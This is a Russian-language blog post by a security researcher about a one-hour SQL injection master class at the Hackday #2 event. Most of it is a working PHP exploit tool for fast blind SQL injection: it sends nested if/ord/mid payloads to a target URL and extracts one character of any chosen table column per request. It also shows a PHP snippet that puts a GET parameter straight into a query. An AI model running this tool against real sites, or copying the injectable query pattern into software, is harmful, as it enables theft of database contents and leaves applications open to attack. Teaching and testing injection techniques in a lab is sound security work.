Материалы с мастер-класса по SQLi на Hackday#2

Собрав оставшиеся силы джедая после недельного пентеста в славном городе Київ, и после недолгой остановки в Москве на 8-9 часов, переместился я в культурную столицу нашей необъятной родины - Санкт-Петербург. В минувшие выходные в нем проходило мероприятие с громким названием "Hackday #2".

На мероприятии уже ближе к вечеру я провел мастер-класс по теме "Внедрение операторов SQL". "Велосипед" на этот раз не выдумывал (а его от меня там и не требовали), а просто воспользовался наработками, которые в свое время готовились для института МИФИ. Собственно, материалы мастер-класса, который по времени уместился в один час, представлены ниже.

PT Hackday#2

View more presentations from Dmitry Evteev.

PT Hackday#2

View more documents from Dmitry Evteev.

Виртуальная машина использовалась прежняя, но с небольшими изменениями в контексте blind SQL Injection. Внесенные изменения позволили продемонстрировать быструю технику эксплуатации слепых SQL-инъекций – подбора одного символа в один запрос. Это возможно, если приложение использует приблизительно такой синтаксис:

<br /> ...<br /> $query="SELECT key FROM table where id=".$_GET['id'];<br /> $result=mysql_query($query);<br /> if(mysql_num_rows($result))<br /> {<br /> $key=mysql_fetch_array($result);<br /> $query="SELECT data FROM table where key=".ceil($key[0]);<br /> $result=mysql_query($query);<br /> ...<br />
Так, сопоставив возможные значения параметра id, передаваемого приложению, в данном случае методом GET, с самим контентом и наложив их на карту подбираемых символов становится возможным очень эффективно и за один запрос считывать данные из таблицы и/или файла, если существуют необходимые привилегии.

Proof of concept, реализующий эту идею:


<br /> <?php<br /> <br /> /*<br /> Fast blind SQL Injection proof of concept by Dmitry Evteev [devteev@ptsecurity.ru]<br /> <br /> */<br /> <br /> <br /> $error_pattern = "/>error</";<br /> <br /> $context_arr = array(<br /> '/>news1</' => 'A',<br /> '/>news2</' => 'B',<br /> '/>news3</' => 'C',<br /> '/>news4</' => 'D',<br /> '/>news5</' => 'E',<br /> '/>news6</' => 'F',<br /> '/>news7</' => 'G',<br /> '/>news8</' => 'H',<br /> '/>news9</' => 'I',<br /> '/>news10</' => 'J',<br /> '/>news11</' => 'K',<br /> '/>news12</' => 'L',<br /> '/>news13</' => 'M',<br /> '/>news14</' => 'N',<br /> '/>news15</' => 'O',<br /> '/>news16</' => 'P',<br /> '/>news17</' => 'Q',<br /> '/>news18</' => 'R',<br /> '/>news19</' => 'S',<br /> '/>news20</' => 'T',<br /> '/>news21</' => 'U',<br /> '/>news22</' => 'V',<br /> '/>news23</' => 'W',<br /> '/>news24</' => 'X',<br /> '/>news25</' => 'Y',<br /> '/>news26</' => 'Z',<br /> '/>news27</' => 'a',<br /> '/>news28</' => 'b',<br /> '/>news29</' => 'c',<br /> '/>news30</' => 'd',<br /> '/>news31</' => 'e',<br /> '/>news32</' => 'f',<br /> '/>news33</' => 'g',<br /> '/>news34</' => 'h',<br /> '/>news35</' => 'i',<br /> '/>news36</' => 'j',<br /> '/>news37</' => 'k',<br /> '/>news38</' => 'l',<br /> '/>news39</' => 'm',<br /> '/>news40</' => 'n',<br /> '/>news41</' => 'o',<br /> '/>news42</' => 'p',<br /> '/>news43</' => 'q',<br /> '/>news44</' => 'r',<br /> '/>news45</' => 's',<br /> '/>news46</' => 't',<br /> '/>news47</' => 'u',<br /> '/>news48</' => 'v',<br /> '/>news49</' => 'w',<br /> '/>news50</' => 'x',<br /> '/>news51</' => 'y',<br /> '/>news52</' => 'z',<br /> '/>news53</' => '0',<br /> '/>news54</' => '1',<br /> '/>news55</' => '2',<br /> '/>news56</' => '3',<br /> '/>news57</' => '4',<br /> '/>news58</' => '5',<br /> '/>news59</' => '6',<br /> '/>news60</' => '7',<br /> '/>news61</' => '8',<br /> '/>news62</' => '9',<br /> '/>news63</' => '!',<br /> '/>news64</' => '"',<br /> '/>news65</' => '#',<br /> '/>news66</' => '$',<br /> '/>news67</' => '%',<br /> '/>news68</' => '&',<br /> '/>news69</' => '(',<br /> '/>news70</' => ')',<br /> '/>news71</' => '*',<br /> '/>news72</' => '+',<br /> '/>news73</' => ',',<br /> '/>news74</' => '-',<br /> '/>news75</' => '.',<br /> '/>news76</' => '/',<br /> '/>news77</' => '@',<br /> '/>news78</' => '\\',<br /> '/>news79</' => '^',<br /> '/>news80</' => '_',<br /> '/>news81</' => '{',<br /> '/>news82</' => '|',<br /> '/>news83</' => '}',<br /> '/>news84</' => '~',<br /> '/>news85</' => ':',<br /> '/>news86</' => ';',<br /> '/>news87</' => '<',<br /> '/>news88</' => '>',<br /> '/>news89</' => '?',<br /> '/>news90</' => '[',<br /> '/>news91</' => ']',<br /> '/>news92</' => ' '<br /> );<br /> <br /> function http_connect($query)<br /> {<br /> <br /> global $server;<br /> global $context_arr;<br /> global $error_pattern;<br /> <br /> $ch = curl_init($server.$query); <br /> curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); <br /> <br /> try {<br /> $response = curl_exec($ch);<br /> curl_close($ch); <br /> <br /> if(!preg_match($error_pattern,$response))<br /> {<br /> <br /> foreach ($context_arr as $pattern => $sumbol) <br /> {<br /> if(preg_match($pattern,$response))<br /> {<br /> return $sumbol;<br /> }<br /> }<br /> }<br /> <br /> return -1;<br /> <br /> <br /> } catch (HttpException $exception) {<br /> <br /> print "[-] Not connected";<br /> exit(0);<br /> <br /> }<br /> <br /> }<br /> <br /> function brute($column,$table,$lim)<br /> {<br /> $ret_str = "";<br /> <br /> for ($i=1;$i<43;$i++)<br /> {<br /> <br /> $q = "if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=65),(500),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=66),(501),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=67),(502),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=68),(503),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=69),(504),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=70),(505),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=71),(506),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=72),(507),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=73),(508),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=74),(509),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=75),(510),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=76),(511),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=77),(512),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=78),(513),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=79),(514),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=80),(515),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=81),(516),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=82),(517),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=83),(518),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=84),(519),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=85),(520),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=86),(521),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=87),(522),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=88),(523),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=89),(524),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=90),(525),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=97),(526),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=98),(527),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=99),(528),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=100),(529),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=101),(530),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=102),(531),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=103),(532),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=104),(533),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=105),(534),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=106),(535),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=107),(536),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=108),(537),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=109),(538),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=110),(539),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=111),(540),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=112),(541),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=113),(542),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=114),(543),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=115),(544),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=116),(545),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=117),(546),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=118),(547),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=119),(548),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=120),(549),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=121),(550),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=122),(551),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=48),(552),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=49),(553),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=50),(554),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=51),(555),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=52),(556),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=53),(557),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=54),(558),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=55),(559),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=56),(560),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=57),(561),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=33),(562),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=34),(563),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=35),(564),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=36),(565),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=37),(566),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=38),(567),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=40),(568),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=41),(569),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=42),(570),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=43),(571),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=44),(572),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=45),(573),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=46),(574),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=47),(575),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=64),(576),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=92),(577),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=94),(578),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=95),(579),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=123),(580),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=124),(581),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=125),(582),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=126),(583),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=58),(584),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=59),(585),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=60),(586),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=62),(587),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=63),(588),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=91),(589),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=93),(590),if((ord(mid((select/**/$column/**/from/**/$table/**/limit/**/$lim,1),$i,1))=32),(591),null))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))--";<br /> <br /> <br /> $r=http_connect($q);<br /> if ($r!=-1)<br /> {<br /> $ret_str=$ret_str.$r;<br /> print ".";<br /> }<br /> else<br /> {<br /> return $ret_str;<br /> }<br /> <br /> <br /> <br /> }<br /> return $ret_str;<br /> }<br /> <br /> <br /> <br /> function help_argc($script_name)<br /> {<br /> print "<br /> usage:<br /> <br /> ./".$script_name." -s=http://host/?param= -c=column -t=table -l=line<br /> ";<br /> }<br /> <br /> function successfully($str)<br /> {<br /> print "<br /> <br /> [+] Bruteforce is finished<br /> [+] Line - $str<br /> ";<br /> }<br /> <br /> if (($argc < 4) || in_array($argv[1], array('--help', '-help', '-h', '-?')))<br /> {<br /> help_argc($argv[0]);<br /> exit(0);<br /> }<br /> else<br /> {<br /> $ARG = array(); <br /> foreach ($argv as $arg) { <br /> if (strpos($arg, '-') === 0) { <br /> $key = substr($arg,1,1);<br /> if (!isset($ARG[$key])) $ARG[$key] = substr($arg,3,strlen($arg)); <br /> } <br /> }<br /> <br /> if ($ARG[s] && $ARG[l] && $ARG[c] && $ARG[t])<br /> {<br /> $server = $ARG[s];<br /> $lim = intval($ARG[l]);<br /> $lim--;<br /> $column = $ARG[c];<br /> $table = $ARG[t];<br /> <br /> print "[+] Initiated bruteforce\n";<br /> $r = brute($column,$table,$lim);<br /> <br /> successfully($r);<br /> }<br /> else<br /> {<br /> help_argc($argv[0]);<br /> exit(0);<br /> }<br /> <br /> }<br /> <br /> ?><br /> <br />
Думаю по коду все становится прозрачно, потому комментировать не стану. Для демонстрации в старой среде просто были добавлены новые данные:



И т.д. Таким образом, было осуществлено сопоставление данных и возможность демонстрации быстрой техники эксплуатации blind SQL Injection.